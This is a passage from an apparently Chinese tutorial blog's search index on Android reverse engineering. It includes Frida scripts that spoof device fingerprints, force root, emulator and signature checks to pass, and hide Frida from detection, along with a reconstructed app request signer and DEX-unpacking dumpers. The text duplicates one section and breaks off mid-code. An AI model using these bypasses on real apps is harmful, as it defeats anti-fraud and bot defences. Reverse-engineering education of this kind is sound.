├─────────────────────────────────────────────────────────────────┤ │ │ │ 1. 分层分析 │ │ ├── 先观察网络请求，了解通信协议 │ │ ├── 识别加密/签名参数 │ │ └── 定位关键函数 │ │ │ │ 2. 环境准备 │ │ ├── 使用 MagiskHide 隐藏 Root │ │ ├── 使用自定义端口的 Frida │ │ └── 准备干净的测试设备/模拟器 │ │ │ │ 3. 动态分析 │ │ ├── Hook 网络层函数追踪请求 │ │ ├── Hook 加密函数获取明文 │ │ └── Hook 签名函数获取算法 │ │ │ │ 4. 静态辅助 │ │ ├── 反编译定位关键代码 │ │ ├── 分析混淆后的算法逻辑 │ │ └── 提取密钥和配置 │ │ │ │ 5. 验证测试 │ │ ├── 使用脚本验证签名算法 │ │ ├── 模拟请求测试服务端响应 │ │ └── 长期运行测试稳定性 │ │ │ └─────────────────────────────────────────────────────────────────┘ ","date":"2024-10-05","objectID":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/:7:3","tags":["加密分析","Hook","DEX","反检测","IDA Pro","反混淆"],"title":"移动端安全与风控技术","uri":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/#63-最佳实践"},{"categories":null,"collections":null,"content":"7. 实战案例 💡 思路一句话: 实际对抗中，单一绕过手段往往不够 — 需要分层组合：底层（Magisk 隐藏 root）+ 中层（Frida 绕过检测）+ 上层（请求签名还原）+ 工程化（自动化脚本+异常重试）。 ","date":"2024-10-05","objectID":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/:8:0","tags":["加密分析","Hook","DEX","反检测","IDA Pro","反混淆"],"title":"移动端安全与风控技术","uri":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/#7-实战案例"},{"categories":null,"collections":null,"content":"7.1 某电商 App 签名算法还原 # Python 实现 - 还原的签名算法示例 import hashlib import hmac import time import json import base64 class EcommerceAppSigner: \"\"\"某电商 App 签名算法还原\"\"\" def __init__(self, app_key: str, app_secret: str, device_id: str): self.app_key = app_key self.app_secret = app_secret self.device_id = device_id def sign_request(self, api: str, params: dict) -\u003e dict: \"\"\"签名请求\"\"\" timestamp = int(time.time() * 1000) nonce = self._generate_nonce() # 1. 构建待签名参数 sign_params = { 'api': api, 'appkey': self.app_key, 'deviceid': self.device_id, 'timestamp': str(timestamp), 'nonce': nonce, **params } # 2. 参数排序 sorted_keys = sorted(sign_params.keys()) sign_str = '\u0026'.join([ f\"{k}={sign_params[k]}\" for k in sorted_keys ]) # 3. HMAC-SHA256 签名 signature = hmac.new( self.app_secret.encode('utf-8'), sign_str.encode('utf-8'), hashlib.sha256 ).hexdigest() # 4. 返回完整请求参数 return { **sign_params, 'sign': signature } def _generate_nonce(self) -\u003e str: \"\"\"生成随机数\"\"\" import random import string return ''.join(random.choices(string.ascii_lowercase + string.digits, k=16)) # 使用示例 signer = EcommerceAppSigner( app_key=\"your_app_key\", app_secret=\"your_app_secret\", device_id=\"your_device_id\" ) signed_params = signer.sign_request( api=\"product.list\", params={\"category\": \"electronics\", \"page\": \"1\"} ) print(json.dumps(signed_params, indent=2)) ","date":"2024-10-05","objectID":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/:8:1","tags":["加密分析","Hook","DEX","反检测","IDA Pro","反混淆"],"title":"移动端安全与风控技术","uri":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/#71-某电商-app-签名算法还原"},{"categories":null,"collections":null,"content":"7.2 某社交 App 设备指纹绕过 // Frida 脚本 - 某社交 App 设备指纹绕过 Java.perform(function() { console.log(\"[*] Hooking social app fingerprint...\"); // Hook 该 App 的设备信息采集类 var DeviceInfo = Java.use(\"com.social.app.security.DeviceInfo\"); DeviceInfo.getAndroidId.implementation = function() { console.log(\"[*] getAndroidId called\"); return \"a1b2c3d4e5f67890\"; // 固定值 }; DeviceInfo.getDeviceModel.implementation = function() { return \"SM-G950F\"; // 伪装成三星 S8 }; DeviceInfo.isRooted.implementation = function() { console.log(\"[*] isRooted called, returning false\"); return false; }; DeviceInfo.isEmulator.implementation = function() { console.log(\"[*] isEmulator called, returning false\"); return false; }; // Hook 签名验证 var SignatureVerifier = Java.use(\"com.social.app.security.SignatureVerifier\"); SignatureVerifier.verify.implementation = function(context) { console.log(\"[*] SignatureVerifier.verify called, returning true\"); return true; }; console.log(\"[+] All hooks installed successfully\"); }); ","date":"2024-10-05","objectID":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/:8:2","tags":["加密分析","Hook","DEX","反检测","IDA Pro","反混淆"],"title":"移动端安全与风控技术","uri":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/#72-某社交-app-设备指纹绕过"},{"categories":null,"collections":null,"content":"总结 移动端安全与风控是一个持续对抗的领域。防御方不断升级检测手段，攻击方也在持续优化绕过技术。理解这些技术的原理，有助于： 安全研究人员: 评估应用的安全性 开发人员: 设计更健壮的防护方案 逆向工程师: 更高效地分析和绕过防护 关键是要建立分层防御的思维，单一检测点很容易被绕过，需要多维度、多层次的综合防护。 ","date":"2024-10-05","objectID":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/:9:0","tags":["加密分析","Hook","DEX","反检测","IDA Pro","反混淆"],"title":"移动端安全与风控技术","uri":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/#总结"},{"categories":null,"collections":null,"content":"扩展阅读 ","date":"2024-10-05","objectID":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/:10:0","tags":["加密分析","Hook","DEX","反检测","IDA Pro","反混淆"],"title":"移动端安全与风控技术","uri":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/#扩展阅读"},{"categories":null,"collections":null,"content":"学术论文 以下是与移动端安全和风控技术相关的学术论文，可以帮助深入理解该领域的技术原理： 设备指纹与用户识别 论文标题 主题 arXiv 链接 Device Fingerprinting: A Comprehensive Survey 设备指纹技术综述 arXiv:2311.01344 Fingerprinting Mobile Devices Using Personalized Configurations 移动设备指纹识别 arXiv:1708.09109 Cross-Browser Fingerprinting via OS and Hardware Level Features 跨浏览器指纹 arXiv:1503.01408 机器人检测与反爬虫 论文标题 主题 arXiv 链接 Bot Detection in Social Networks: A Survey 社交网络机器人检测综述 arXiv:2005.12963 A Survey on Deep Learning Based Bot Detection Techniques 深度学习机器人检测 arXiv:2301.10912 Detecting and Characterizing Web Bot Traffic in a Large E-commerce Platform 电商平台机器人流量检测 arXiv:2003.02595 移动应用安全 论文标题 主题 arXiv 链接 A Survey on Security and Privacy of Android Applications Android 应用安全综述 arXiv:2101.06298 Android Malware Detection: A Survey Android 恶意软件检测综述 arXiv:1904.05999 Deep Learning for Android Malware Detection 深度学习恶意软件检测 arXiv:1802.03316 RASP: Runtime Application Self-Protection RASP 运行时保护 arXiv:1907.04093 行为分析与异常检测 论文标题 主题 arXiv 链接 Deep Learning for Anomaly Detection: A Survey 异常检测深度学习综述 arXiv:1901.03407 User Behavior Analysis for Security Applications 用户行为安全分析 arXiv:2006.04559 Continuous Authentication via Behavioral Biometrics 行为生物特征认证 arXiv:2003.06494 风控与欺诈检测 论文标题 主题 arXiv 链接 A Survey of Credit Card Fraud Detection Techniques 信用卡欺诈检测综述 arXiv:2007.07373 Financial Fraud Detection: A Machine Learning Perspective 金融欺诈 ML 检测 arXiv:2009.07136 Graph Neural Networks for Fraud Detection 图神经网络欺诈检测 arXiv:2007.02402 逆向工程与代码保护 论文标题 主题 arXiv 链接 A Survey on Software Obfuscation and Deobfuscation 代码混淆与反混淆综述 arXiv:1710.01236 Machine Learning for Reverse Engineering 机器学习逆向工程 arXiv:2009.12120 Binary Code Analysis: A Survey 二进制代码分析综述 arXiv:2205.03454 ","date":"2024-10-05","objectID":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/:10:1","tags":["加密分析","Hook","DEX","反检测","IDA Pro","反混淆"],"title":"移动端安全与风控技术","uri":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/#学术论文"},{"categories":null,"collections":null,"content":"推荐阅读顺序 对于不同背景的读者，建议按以下顺序阅读： 安全研究员： A Survey on Security and Privacy of Android Applications - 了解整体安全态势 Device Fingerprinting: A Comprehensive Survey - 理解设备识别技术 RASP: Runtime Application Self-Protection - 学习防护技术 风控工程师： Bot Detection in Social Networks: A Survey - 机器人检测基础 Deep Learning for Anomaly Detection: A Survey - 异常检测方法 Financial Fraud Detection: A Machine Learning Perspective - 风控模型设计 逆向工程师： A Survey on Software Obfuscation and Deobfuscation - 混淆技术原理 Binary Code Analysis: A Survey - 二进制分析技术 Android Malware Detection: A Survey - 恶意软件分析 相关章节： R17: 设备指纹与绕过 C01: 反分析技术案例 R26: 验证码绕过技术 ","date":"2024-10-05","objectID":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/:10:2","tags":["加密分析","Hook","DEX","反检测","IDA Pro","反混淆"],"title":"移动端安全与风控技术","uri":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/#推荐阅读顺序"},{"categories":null,"collections":null,"content":"Native 层 Hook 技巧 (Native Hooking Patterns) 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： Frida Native Hook - 掌握 Interceptor API SO/ELF 格式 - 理解 libc 函数与符号 ARM 汇编入门 - 理解 Inline Hook 原理 二进制分析工具链 - Capstone 反汇编与指令分析 在 Android 逆向中，Native 层 (C/C++) 的分析往往比 Java 层更具挑战性。Hook 标准 C 库 (libc) 函数是理解 Native 层行为、脱壳和还原算法的重要手段。 ","date":"2024-10-03","objectID":"/reverse_engineering/android/01-recipes/scripts/native_hooking/:0:0","tags":["Native层","Frida脚本","Frida","代理池","DEX","脱壳"],"title":"Native 层 Hook 技巧 (Native Hooking Patterns)","uri":"/reverse_engineering/android/01-recipes/scripts/native_hooking/#native-层-hook-技巧-native-hooking-patterns"},{"categories":null,"collections":null,"content":"1. 文件操作监控 (File I/O) 监控文件操作可以帮助我们发现 App 读取了哪些配置文件、加载了哪些 Dex/So 文件，或者将解密后的数据写入到了哪里。 ","date":"2024-10-03","objectID":"/reverse_engineering/android/01-recipes/scripts/native_hooking/:1:0","tags":["Native层","Frida脚本","Frida","代理池","DEX","脱壳"],"title":"Native 层 Hook 技巧 (Native Hooking Patterns)","uri":"/reverse_engineering/android/01-recipes/scripts/native_hooking/#1-文件操作监控-file-io"},{"categories":null,"collections":null,"content":"Hook open / openat // Hook open and openat to trace file access function hookFileOpen() { // Intercept 'open' var openPtr = Module.findExportByName(\"libc.so\", \"open\"); if (openPtr) { Interceptor.attach(openPtr, { onEnter: function (args) { this.path = args[0].readCString(); this.flags = args[1].toInt32(); }, onLeave: function (retval) { if ( this.path \u0026\u0026 (this.path.endsWith(\".dex\") || this.path.endsWith(\".so\")) ) { console.log(\"[open] FD: \" + retval + \" Path: \" + this.path); } }, }); } // Intercept 'openat' (commonly used on newer android versions) var openatPtr = Module.findExportByName(\"libc.so\", \"openat\"); if (openatPtr) { Interceptor.attach(openatPtr, { onEnter: function (args) { // args[0] is dirfd, args[1] is path this.path = args[1].readCString(); this.flags = args[2].toInt32(); }, onLeave: function (retval) { if ( this.path \u0026\u0026 (this.path.indexOf(\"base.apk\") \u003e= 0 || this.path.indexOf(\".dex\") \u003e= 0) ) { console.log(\"[openat] FD: \" + retval + \" Path: \" + this.path); } }, }); } } hookFileOpen(); ","date":"2024-10-03","objectID":"/reverse_engineering/android/01-recipes/scripts/native_hooking/:1:1","tags":["Native层","Frida脚本","Frida","代理池","DEX","脱壳"],"title":"Native 层 Hook 技巧 (Native Hooking Patterns)","uri":"/reverse_engineering/android/01-recipes/scripts/native_hooking/#hook-open--openat"},{"categories":null,"collections":null,"content":"2. 动态库加载监控 (dlopen) 监控 dlopen 可以帮助我们发现 App 动态加载了哪些 SO 文件，这对于分析加壳应用非常有用。 ","date":"2024-10-03","objectID":"/reverse_engineering/android/01-recipes/scripts/native_hooking/:2:0","tags":["Native层","Frida脚本","Frida","代理池","DEX","脱壳"],"title":"Native 层 Hook 技巧 (Native Hooking Patterns)","uri":"/reverse_engineering/android/01-recipes/scripts/native_hooking/#2-动态库加载监控-dlopen"},{"categories":null,"collections":null,"content":"Hook dlopen / android_dlopen_ext function hookDlopen() { var dlopen = Module.findExportByName(null, \"dlopen\"); var android_dlopen_ext = Module.findExportByName(null, \"android_dlopen_ext\"); if (dlopen) { Interceptor.attach(dlopen, { onEnter: function (args) { this.path = args[0].readCString(); }, onLeave: function (retval) { if (this.path) { console.log(\"[dlopen] \" + this.path + \" -\u003e Handle: \" + retval); if (this.path.indexOf(\"libnative-lib.so\") \u003e= 0) { // Library loaded, ready to hook functions inside it console.log(\"[+] Target library loaded!\"); } } }, }); } if (android_dlopen_ext) { Interceptor.attach(android_dlopen_ext, { onEnter: function (args) { this.path = args[0].readCString(); }, onLeave: function (retval) { if (this.path) { console.log( \"[android_dlopen_ext] \" + this.path + \" -\u003e Handle: \" + retval ); } }, }); } } hookDlopen(); ","date":"2024-10-03","objectID":"/reverse_engineering/android/01-recipes/scripts/native_hooking/:2:1","tags":["Native层","Frida脚本","Frida","代理池","DEX","脱壳"],"title":"Native 层 Hook 技巧 (Native Hooking Patterns)","uri":"/reverse_engineering/android/01-recipes/scripts/native_hooking/#hook-dlopen--android_dlopen_ext"},{"categories":null,"collections":null,"content":"3. 内存操作监控 (memcpy) 监控 memcpy 可以帮助我们发现内存中的数据拷贝，特别是在脱壳时可以捕获解密后的 DEX 文件。 ","date":"2024-10-03","objectID":"/reverse_engineering/android/01-recipes/scripts/native_hooking/:3:0","tags":["Native层","Frida脚本","Frida","代理池","DEX","脱壳"],"title":"Native 层 Hook 技巧 (Native Hooking Patterns)","uri":"/reverse_engineering/android/01-recipes/scripts/native_hooking/#3-内存操作监控-memcpy"},{"categories":null,"collections":null,"content":"Hook memcpy function hookMemcpy() { var memcpy = Module.findExportByName(\"libc.so\", \"memcpy\"); Interceptor.attach(memcpy, { onEnter: function (args) { this.dest = args[0]; this.src = args[1]; this.n = args[2].toInt32(); }, onLeave: function (retval) { // Filter by size or content to reduce noise if (this.n \u003e 100 \u0026\u0026 this.n \u003c 200) { // Check if source contains specific magic bytes (e.g., ELF header) try { var magic = this.src.readU32(); if (magic == 0x464c457f) { // .ELF console.log(\"[memcpy] ELF header detected! Size: \" + this.n); console.log(hexdump(this.src, { length: 32 })); } } catch (e) {} } // Check for DEX magic (dex\\n035) if (this.n \u003e 1000) { try { var dexMagic = this.src.readUtf8String(4); if (dexMagic === \"dex\\n\") { console.log(\"[memcpy] DEX file detected! Size: \" + this.n); // Dump DEX file var dexData = this.src.readByteArray(this.n); var filename = \"/data/local/tmp/dump_\" + Date.now() + \".dex\"; var file = new File(filename, \"wb\"); file.write(dexData); file.close(); console.log(\"[+] DEX dumped to: \" + filename); } } catch (e) {} } }, }); } hookMemcpy(); ","date":"2024-10-03","objectID":"/reverse_engineering/android/01-recipes/scripts/native_hooking/:3:1","tags":["Native层","Frida脚本","Frida","代理池","DEX","脱壳"],"title":"Native 层 Hook 技巧 (Native Hooking Patterns)","uri":"/reverse_engineering/android/01-recipes/scripts/native_hooking/#hook-memcpy"},{"categories":null,"collections":null,"content":"4. 符号解析监控 (dlsym) 监控 dlsym 可以帮助我们发现 App 动态查找了哪些函数，这对于分析混淆代码非常有用。 ","date":"2024-10-03","objectID":"/reverse_engineering/android/01-recipes/scripts/native_hooking/:4:0","tags":["Native层","Frida脚本","Frida","代理池","DEX","脱壳"],"title":"Native 层 Hook 技巧 (Native Hooking Patterns)","uri":"/reverse_engineering/android/01-recipes/scripts/native_hooking/#4-符号解析监控-dlsym"},{"categories":null,"collections":null,"content":"Hook dlsym function hookDlsym() { var dlsym = Module.findExportByName(null, \"dlsym\"); Interceptor.attach(dlsym, { onEnter: function (args) { this.handle = args[0]; this.symbol = args[1].readCString(); }, onLeave: function (retval) { if (this.symbol) { console.log( \"[dlsym] Symbol: \" + this.symbol + \" -\u003e Address: \" + retval ); // Hook specific functions when resolved if (this.symbol === \"encrypt\" \u0026\u0026 !retval.isNull()) { console.log(\"[+] Found encrypt function, hooking...\"); hookNativeFunction(retval, \"encrypt\"); } } }, }); } function hookNativeFunction(addr, name) { Interceptor.attach(addr, { onEnter: function (args) { console.log(\"[\" + name + \"] called\"); console.log(\" arg0: \" + args[0]); console.log(\" arg1: \" + args[1]); }, onLeave: function (retval) { console.log(\" retval: \" + retval); }, }); } hookDlsym(); ","date":"2024-10-03","objectID":"/reverse_engineering/android/01-recipes/scripts/native_hooking/:4:1","tags":["Native层","Frida脚本","Frida","代理池","DEX","脱壳"],"title":"Native 层 Hook 技巧 (Native Hooking Patterns)","uri":"/reverse_engineering/android/01-recipes/scripts/native_hooking/#hook-dlsym"},{"categories":null,"collections":null,"content":"5. 字符串比较监控 (strcmp) 监控字符串比较函数可以帮助我们发现 App 的校验逻辑，如 Root 检测、调试检测等。 ","date":"2024-10-03","objectID":"/reverse_engineering/android/01-recipes/scripts/native_hooking/:5:0","tags":["Native层","Frida脚本","Frida","代理池","DEX","脱壳"],"title":"Native 层 Hook 技巧 (Native Hooking Patterns)","uri":"/reverse_engineering/android/01-recipes/scripts/native_hooking/#5-字符串比较监控-strcmp"},{"categories":null,"collections":null,"content":"Hook strcmp / strstr function hookStringFunctions() { // Hook strcmp var strcmp = Module.findExportByName(\"libc.so\", \"strcmp\"); if (strcmp) { Interceptor.attach(strcmp, { onEnter: function (args) { var s1 = args[0].readCString(); var s2 = args[1].readCString(); // Filter for interesting strings var keywords = [\"root\", \"su\", \"magisk\", \"frida\", \"xposed\", \"debug\"]; for (var i = 0; i \u003c keywords.length; i++) { if ( (s1 \u0026\u0026 s1.toLowerCase().indexOf(keywords[i]) \u003e= 0) || (s2 \u0026\u0026 s2.toLowerCase().indexOf(keywords[i]) \u003e= 0) ) { console.log(\"[strcmp] \" + s1 + \" VS \" + s2); break; } } }, }); } // Hook strstr var strstr = Module.findExportByName(\"libc.so\", \"strstr\"); if (strstr) { Interceptor.attach(strstr, { onEnter: function (args) { this.haystack = args[0].readCString(); this.needle = args[1].readCString(); }, onLeave: function (retval) { if (this.needle \u0026\u0026 this.needle.toLowerCase().indexOf(\"frida\") \u003e= 0) { console.log( \"[strstr] Searching for: \" + this.needle + \" in: \" + this.haystack.substring(0, 50) ); // Return NULL to bypass detection retval.replace(ptr(0)); } }, }); } } hookStringFunctions(); ","date":"2024-10-03","objectID":"/reverse_engineering/android/01-recipes/scripts/native_hooking/:5:1","tags":["Native层","Frida脚本","Frida","代理池","DEX","脱壳"],"title":"Native 层 Hook 技巧 (Native Hooking Patterns)","uri":"/reverse_engineering/android/01-recipes/scripts/native_hooking/#hook-strcmp--strstr"},{"categories":null,"collections":null,"content":"6. 系统调用监控 监控系统调用可以帮助我们发现 App 的底层行为。 ","date":"2024-10-03","objectID":"/reverse_engineering/android/01-recipes/scripts/native_hooking/:6:0","tags":["Native层","Frida脚本","Frida","代理池","DEX","脱壳"],"title":"Native 层 Hook 技巧 (Native Hooking Patterns)","uri":"/reverse_engineering/android/01-recipes/scripts/native_hooking/#6-系统调用监控"},{"categories":null,"collections":null,"content":"Hook syscall function hookSyscall() { var syscall = Module.findExportByName(\"libc.so\", \"syscall\"); if (syscall) { Interceptor.attach(syscall, { onEnter: function (args) { var syscallNumber = args[0].toInt32(); // Common syscall numbers on ARM64 var syscallNames = { 56: \"openat\", 57: \"close\", 63: \"read\", 64: \"write\", 78: \"readlinkat\", 79: \"fstatat\", 101: \"nanosleep\", 172: \"getpid\", 174: \"getuid\", }; if (syscallNames[syscallNumber]) { console.log(\"[syscall] \" + syscallNames[syscallNumber]); } }, }); } } hookSyscall(); ","date":"2024-10-03","objectID":"/reverse_engineering/android/01-recipes/scripts/native_hooking/:6:1","tags":["Native层","Frida脚本","Frida","代理池","DEX","脱壳"],"title":"Native 层 Hook 技巧 (Native Hooking Patterns)","uri":"/reverse_engineering/android/01-recipes/scripts/native_hooking/#hook-syscall"},{"categories":null,"collections":null,"content":"7. 综合示例：脱壳辅助 结合多个 Hook 点进行脱壳分析。 // Comprehensive unpacking helper function unpackHelper() { console.log(\"[+] Unpacking helper started\"); var dexCount = 0; // Hook mmap to catch memory mapping var mmap = Module.findExportByName(\"libc.so\", \"mmap\"); Interceptor.attach(mmap, { onEnter: function (args) { this.addr = args[0]; this.length = args[1].toInt32(); this.prot = args[2].toInt32(); }, onLeave: function (retval) { if (this.length \u003e 100000 \u0026\u0026 this.prot == 5) { // PROT_READ | PROT_EXEC try { var magic = retval.readUtf8String(4); if (magic === \"dex\\n\") { console.log( \"[mmap] DEX detected! Size: \" + this.length + \" Address: \" + retval ); dexCount++; var filename = \"/data/local/tmp/unpack_\" + dexCount + \"_\" + Date.now() + \".dex\"; var file = new File(filename, \"wb\"); file.write(retval.readByteArray(this.length)); file.close(); console.log(\"[+] Dumped to: \" + filename); } } catch (e) {} } }, }); // Hook dvmDexFileOpenPartial (for Dalvik) // Hook art::DexFile::Open (for ART) var artDexOpen = Module.findExportByName( \"libart.so\", \"_ZN3art7DexFile10OpenMemoryEPKhjRKNSt3__112basic_stringIcNS3_11char_traitsIcEENS3_9allocatorIcEEEEjPNS_6MemMapEPKNS_7OatFileEPS9_\" ); if (artDexOpen) { Interceptor.attach(artDexOpen, { onEnter: function (args) { console.log(\"[art::DexFile::OpenMemory] called\"); this.base = args[0]; this.size = args[1].toInt32(); }, onLeave: function (retval) { if (this.size \u003e 0) { console.log(\"[+] ART DEX loaded, size: \" + this.size); } }, }); } } unpackHelper(); ","date":"2024-10-03","objectID":"/reverse_engineering/android/01-recipes/scripts/native_hooking/:7:0","tags":["Native层","Frida脚本","Frida","代理池","DEX","脱壳"],"title":"Native 层 Hook 技巧 (Native Hooking Patterns)","uri":"/reverse_engineering/android/01-recipes/scripts/native_hooking/#7-综合示例脱壳辅助"},{"categories":null,"collections":null,"content":"8. Inline Hook 技术详解 Inline Hook 是 Native 层 Hook 的核心技术，通过直接修改目标函数的机器指令来实现函数拦截。与 GOT/PLT Hook 不同，Inline Hook 可以 Hook 任意函数地址，包括内部函数。 ","date":"2024-10-03","objectID":"/reverse_engineering/android/01-recipes/scripts/native_hooking/:8:0","tags":["Native层","Frida脚本","Frida","代理池","DEX","脱壳"],"title":"Native 层 Hook 技巧 (Native Hooking Patterns)","uri":"/reverse_engineering/android/01-recipes/scripts/native_hooking/#8-inline-hook-技术详解"},{"categories":null,"collections":null,"content":"8.1 Inline Hook 原理 Inline Hook 的基本原理是： 备份原指令：保存目标函数开头的若干字节指令 写入跳转指令：在原位置写入跳转到 Hook 函数的指令 执行 Hook 函数：Hook 函数执行自定义逻辑 执行原函数：通过 Trampoline 跳回执行原始指令 原始函数: Hook 后: +------------------+ +------------------+ | 原始指令 1 | ───\u003e | JMP hook_func | | 原始指令 2 | | (覆盖原指令) | | 原始指令 3 | | 原始指令 3 | | ... | | ... | +------------------+ +------------------+ Hook 函数: Trampoline: +------------------+ +------------------+ | 自定义逻辑 | | 原始指令 1 | | call_original() | ───\u003e | 原始指令 2 | | 返回 | | JMP 原函数+偏移 | +------------------+ +------------------+ ","date":"2024-10-03","objectID":"/reverse_engineering/android/01-recipes/scripts/native_hooking/:8:1","tags":["Native层","Frida脚本","Frida","代理池","DEX","脱壳"],"title":"Native 层 Hook 技巧 (Native Hooking Patterns)","uri":"/reverse_engineering/android/01-recipes/scripts/native_hooking/#81-inline-hook-原理"},{"categories":null,"collections":null,"content":"8.2 ARM64 跳转指令 在 ARM64 架构上，常用的跳转方式： // 方式1: B 指令 (±128MB 范围) // B \u003coffset\u003e // 4 字节，范围有限 // 方式2: LDR + BR 组合 (任意地址) // LDR X17, #8 ; 加载后面的地址到 X17 // BR X17 ; 跳转到 X17 // .quad \u003caddr\u003e ; 64位目标地址 // 共 16 字节 // 方式3: ADRP + ADD + BR (±4GB 范围) // ADRP X17, \u003cpage\u003e // ADD X17, X17, \u003coffset\u003e // BR X17 // 12 字节 ","date":"2024-10-03","objectID":"/reverse_engineering/android/01-recipes/scripts/native_hooking/:8:2","tags":["Native层","Frida脚本","Frida","代理池","DEX","脱壳"],"title":"Native 层 Hook 技巧 (Native Hooking Patterns)","uri":"/reverse_engineering/android/01-recipes/scripts/native_hooking/#82-arm64-跳转指令"},{"categories":null,"collections":null,"content":"8.3 主流 Inline Hook 框架 Substrate (Cydia Substrate) 最早的 iOS/Android Hook 框架，业界标准。 // Substrate API #include \u003csubstrate.h\u003e // 原函数指针 static int (*orig_open)(const char *path, int flags, ...); // Hook 函数 int hook_open(const char *path, int flags, ...) { // 自定义逻辑 __android_log_print(ANDROID_LOG_DEBUG, \"HOOK\", \"open: %s\", path); // 调用原函数 return orig_open(path, flags); } // 安装 Hook MSHookFunction((void *)open, (void *)hook_open, (void **)\u0026orig_open); Dobby 跨平台的轻量级 Hook 框架，支持 ARM/ARM64/x86/x86_64。 // Dobby API #include \"dobby.h\" // 原函数指针 static int (*orig_open)(const char *path, int flags, mode_t mode); // Hook 函数 int hook_open(const char *path, int flags, mode_t mode) { LOG(\"open: %s\", path); return orig_open(path, flags, mode); } // 安装 Hook DobbyHook((void *)open, (void *)hook_open, (void **)\u0026orig_open); // 卸载 Hook DobbyDestroy((void *)open); xHook (爱奇艺开源) 基于 PLT/GOT 的 Hook 框架，稳定性好，但只能 Hook 外部函数调用。 // xHook API #include \"xhook.h\" // Hook 函数 int my_open(const char *path, int flags, ...) { LOG(\"xhook open: %s\", path); // 调用原函数需要使用 xhook 的方式 return XHOOK_CALL_ORIG(open, path, flags); } // 注册 Hook xhook_register(\".*\\\\.so$\", \"open\", my_open, NULL); // 刷新 Hook xhook_refresh(0); bhook (字节跳动开源) PLT Hook 框架，支持自动管理 Hook 代理。 // bhook API #include \"bytehook.h\" // Hook 函数 int my_open(const char *path, int flags, mode_t mode) { LOG(\"bhook open: %s\", path); // 调用原函数 BYTEHOOK_CALL_PREV(my_open, path, flags, mode); return result; } // 注册 Hook bytehook_hook_single( \"libc.so\", // 目标库 NULL, // 调用者 (NULL = 所有) \"open\", // 函数名 (void *)my_open, // Hook 函数 NULL, // 回调 NULL // 用户数据 ); ShadowHook (字节跳动开源) 真正的 Inline Hook 框架，支持 Hook 任意函数。 // ShadowHook API #include \"shadowhook.h\" // 原函数类型 typedef int (*open_t)(const char *, int, mode_t); static open_t orig_open; // Hook 函数 int hook_open(const char *path, int flags, mode_t mode) { LOG(\"shadowhook open: %s\", path); return orig_open(path, flags, mode); } // 安装 Inline Hook void *stub = shadowhook_hook_func_addr( (void *)open, // 目标函数地址 (void *)hook_open, // Hook 函数 (void **)\u0026orig_open // 原函数指针 ); // 卸载 Hook shadowhook_unhook(stub); And-Hook 轻量级 Android Inline Hook 库。 // And-Hook API #include \"And64InlineHook.hpp\" // Hook A64HookFunction((void *)target_func, (void *)hook_func, (void **)\u0026orig_func); Whale 支持多种 Hook 模式的框架。 // Whale API - Inline Hook WInlineHookFunction((void *)open, (void *)hook_open, (void **)\u0026orig_open); // Whale API - Import Hook (类似 PLT Hook) WImportHookFunction(\"libnative.so\", \"open\", (void *)hook_open, (void **)\u0026orig_open); ","date":"2024-10-03","objectID":"/reverse_engineering/android/01-recipes/scripts/native_hooking/:8:3","tags":["Native层","Frida脚本","Frida","代理池","DEX","脱壳"],"title":"Native 层 Hook 技巧 (Native Hooking Patterns)","uri":"/reverse_engineering/android/01-recipes/scripts/native_hooking/#83-主流-inline-hook-框架"},{"categories":null,"collections":null,"content":"8.3 主流 Inline Hook 框架 Substrate (Cydia Substrate) 最早的 iOS/Android Hook 框架，业界标准。 // Substrate API #include // 原函数指针 static int (*orig_open)(const char *path, int flags, ...); // Hook 函数 int hook_open(const char *path, int flags, ...) { // 自定义逻辑 __android_log_print(ANDROID_LOG_DEBUG, \"HOOK\", \"open: %s\", path); // 调用原函数 return orig_open(path, flags); } // 安装 Hook MSHookFunction((void *)open, (void *)hook_open, (void **)\u0026orig_open); Dobby 跨平台的轻量级 Hook 框架，支持 ARM/ARM64/x86/x86_64。 // Dobby API #include \"dobby.h\" // 原函数指针 static int (*orig_open)(const char *path, int flags, mode_t mode); // Hook 函数 int hook_open(const char *path, int flags, mode_t mode) { LOG(\"open: %s\", path); return orig_open(path, flags, mode); } // 安装 Hook DobbyHook((void *)open, (void *)hook_open, (void **)\u0026orig_open); // 卸载 Hook DobbyDestroy((void *)open); xHook (爱奇艺开源) 基于 PLT/GOT 的 Hook 框架，稳定性好，但只能 Hook 外部函数调用。 // xHook API #include \"xhook.h\" // Hook 函数 int my_open(const char *path, int flags, ...) { LOG(\"xhook open: %s\", path); // 调用原函数需要使用 xhook 的方式 return XHOOK_CALL_ORIG(open, path, flags); } // 注册 Hook xhook_register(\".*\\\\.so$\", \"open\", my_open, NULL); // 刷新 Hook xhook_refresh(0); bhook (字节跳动开源) PLT Hook 框架，支持自动管理 Hook 代理。 // bhook API #include \"bytehook.h\" // Hook 函数 int my_open(const char *path, int flags, mode_t mode) { LOG(\"bhook open: %s\", path); // 调用原函数 BYTEHOOK_CALL_PREV(my_open, path, flags, mode); return result; } // 注册 Hook bytehook_hook_single( \"libc.so\", // 目标库 NULL, // 调用者 (NULL = 所有) \"open\", // 函数名 (void *)my_open, // Hook 函数 NULL, // 回调 NULL // 用户数据 ); ShadowHook (字节跳动开源) 真正的 Inline Hook 框架，支持 Hook 任意函数。 // ShadowHook API #include \"shadowhook.h\" // 原函数类型 typedef int (*open_t)(const char *, int, mode_t); static open_t orig_open; // Hook 函数 int hook_open(const char *path, int flags, 